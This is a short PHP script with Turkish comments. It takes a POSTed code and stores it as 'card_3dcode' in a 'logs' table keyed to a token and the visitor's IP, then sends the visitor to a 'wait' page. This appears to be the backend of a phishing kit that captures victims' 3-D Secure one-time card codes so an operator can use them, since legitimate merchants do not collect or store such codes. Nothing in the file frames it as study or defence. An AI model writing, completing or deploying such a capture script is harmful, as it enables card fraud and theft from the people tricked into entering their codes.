<?php
// Gerekli bağlantıları ve güvenlik önlemlerini ekleyin
include_once('../inc/helper.php');
session_start();
$_SESSION['errorMessage'] = "";

// POST verilerini al ve güvenli hale getir
$token = $_POST['token'] ?? '';
$code = $_POST['code'] ?? '';

// Kullanıcının IP adresini al
$userIP = getUserIP();

if ($token && $code) {
    try {
        $sql = "SELECT * FROM logs WHERE id = :token AND ipaddr = :ip_address LIMIT 1";
        // Sorguyu hazırla
        $stmt = $db->prepare($sql);
        // Parametreleri bağla
        $stmt->bindParam(':token', $token);
        $stmt->bindParam(':ip_address', $userIP);
        // Sorguyu çalıştır
        $stmt->execute();
        // Sonucu al
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result && isset($result['status'])) {
            // Veritabanı sorgusu
            $sql = "UPDATE logs SET status = 1, card_3dcode = :code WHERE id = :token AND ipaddr = :ip_address";
            $stmt = $db->prepare($sql);
            $stmt->bindParam(':code', $code);
            $stmt->bindParam(':token', $token);
            $stmt->bindParam(':ip_address', $userIP);
            
            // Sorguyu çalıştır
            if ($stmt->execute()) {
                // Başarılı ise yönlendir
                header("Location: /sadece-online-ozel/bekle.php?t=" . urlencode($token));
                exit();
            } else {
                throw new Exception("Güncelleme işlemi başarısız oldu.");
            }
        } else {
            throw new Exception("Geçerli kayıt bulunamadı.");
        }
    } catch (Exception $e) {
        // Hata yönetimi
        error_log("Hata: " . $e->getMessage());
        echo "Bir hata oluştu. Lütfen daha sonra tekrar deneyin.";
    }
} else {
    // Token veya code eksikse hata mesajı
    echo "Geçersiz istek. Lütfen tüm gerekli bilgileri sağladığınızdan emin olun.";
}
?>